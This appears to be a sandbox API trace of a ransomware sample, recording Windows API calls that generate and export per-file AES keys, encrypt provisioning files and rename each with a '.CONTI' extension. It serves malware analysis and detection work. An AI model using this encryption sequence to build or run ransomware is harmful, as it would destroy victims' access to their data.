	[0113.260] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\578__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\578__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.261] GetProcessHeap () returned 0x1720000
	[0113.261] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654cd80 | out: hHeap=0x1720000) returned 1
	[0113.261] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0113.261] GetProcessHeap () returned 0x1720000
	[0113.261] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d8060 | out: hHeap=0x1720000) returned 1
	[0113.261] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0113.261] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65b42b0 | out: phKey=0x65b42b0*=0x17c7ff0) returned 1
	[0113.261] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b42b4, pdwDataLen=0x59bf7d4 | out: pbData=0x65b42b4*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0113.262] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\57__connections_cellular_tim (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.262] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\57__connections_cellular_tim (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0113.263] GetLastError () returned 0x0
	[0113.263] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=832) returned 1
	[0113.263] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x340
	[0113.263] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.263] SetEndOfFile (hFile=0x3e0) returned 1
	[0113.263] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.263] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.263] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b42b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65b42b4*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.601] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.611] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x340, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x340, lpOverlapped=0x0) returned 1
	[0114.621] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x340, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x350) returned 1
	[0114.621] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.621] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x350, lpOverlapped=0x0) returned 1
	[0114.621] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.621] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b42a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65b42a8*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0114.623] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.627] CloseHandle (hObject=0x3e0) returned 1
	[0114.627] GetProcessHeap () returned 0x1720000
	[0114.627] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.631] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml"
	[0114.631] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.633] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\57__connections_cellular_tim (brazil)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\57__connections_cellular_tim (brazil)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.633] GetProcessHeap () returned 0x1720000
	[0114.633] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.634] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0114.634] GetProcessHeap () returned 0x1720000
	[0114.634] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e0be0 | out: hHeap=0x1720000) returned 1
	[0114.636] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0114.636] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65d5e28 | out: phKey=0x65d5e28*=0x6b7f4f8) returned 1
	[0114.636] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d5e2c, pdwDataLen=0x59bf7d4 | out: pbData=0x65d5e2c*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0114.638] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\98__connections_cellular_tdc denmark (denmark)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.638] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\98__connections_cellular_tdc denmark (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0114.638] GetLastError () returned 0x0
	[0114.638] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=713) returned 1
	[0114.638] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0114.638] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.638] SetEndOfFile (hFile=0x3e0) returned 1
	[0114.639] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.639] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.639] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d5e2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65d5e2c*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.641] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.641] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x2c9, lpOverlapped=0x0) returned 1
	[0114.641] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2c9, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2d0) returned 1
	[0114.641] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.641] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.641] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.641] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d5e20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65d5e20*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0114.641] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.641] CloseHandle (hObject=0x3e0) returned 1
	[0114.644] GetProcessHeap () returned 0x1720000
	[0114.644] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.645] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml"
	[0114.645] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.645] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\98__connections_cellular_tdc denmark (denmark)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\98__Connections_Cellular_TDC Denmark (Denmark)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\98__connections_cellular_tdc denmark (denmark)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.646] GetProcessHeap () returned 0x1720000
	[0114.646] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.646] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0114.646] GetProcessHeap () returned 0x1720000
	[0114.646] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c8b88 | out: hHeap=0x1720000) returned 1
	[0114.646] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0114.646] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65d6070 | out: phKey=0x65d6070*=0x6b7f0b8) returned 1
	[0114.646] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d6074, pdwDataLen=0x59bf7d4 | out: pbData=0x65d6074*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0114.647] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\99__connections_cellular_telenor denmark (denmark)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.647] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\99__connections_cellular_telenor denmark (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0114.647] GetLastError () returned 0x0
	[0114.647] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=651) returned 1
	[0114.647] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28b
	[0114.647] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.648] SetEndOfFile (hFile=0x3e0) returned 1
	[0114.648] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.648] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.648] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d6074*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65d6074*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.657] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.657] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x28b, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x28b, lpOverlapped=0x0) returned 1
	[0114.657] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x28b, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x290) returned 1
	[0114.658] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.658] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x290, lpOverlapped=0x0) returned 1
	[0114.658] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.658] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d6068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65d6068*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0114.658] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.658] CloseHandle (hObject=0x3e0) returned 1
	[0114.658] GetProcessHeap () returned 0x1720000
	[0114.658] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.658] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml"
	[0114.658] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.658] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\99__connections_cellular_telenor denmark (denmark)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\99__Connections_Cellular_Telenor Denmark (Denmark)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\99__connections_cellular_telenor denmark (denmark)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.659] GetProcessHeap () returned 0x1720000
	[0114.659] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.659] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0114.659] GetProcessHeap () returned 0x1720000
	[0114.659] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c9e58 | out: hHeap=0x1720000) returned 1
	[0114.659] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0114.660] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65d6e20 | out: phKey=0x65d6e20*=0x6b7f3b8) returned 1
	[0114.660] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d6e24, pdwDataLen=0x59bf7d4 | out: pbData=0x65d6e24*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0114.660] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\9__connections_cellular_optus (australia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.661] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\9__connections_cellular_optus (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0114.661] GetLastError () returned 0x0
	[0114.661] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=714) returned 1
	[0114.661] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0114.661] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.662] SetEndOfFile (hFile=0x3e0) returned 1
	[0114.662] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.662] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.662] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d6e24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65d6e24*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.663] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
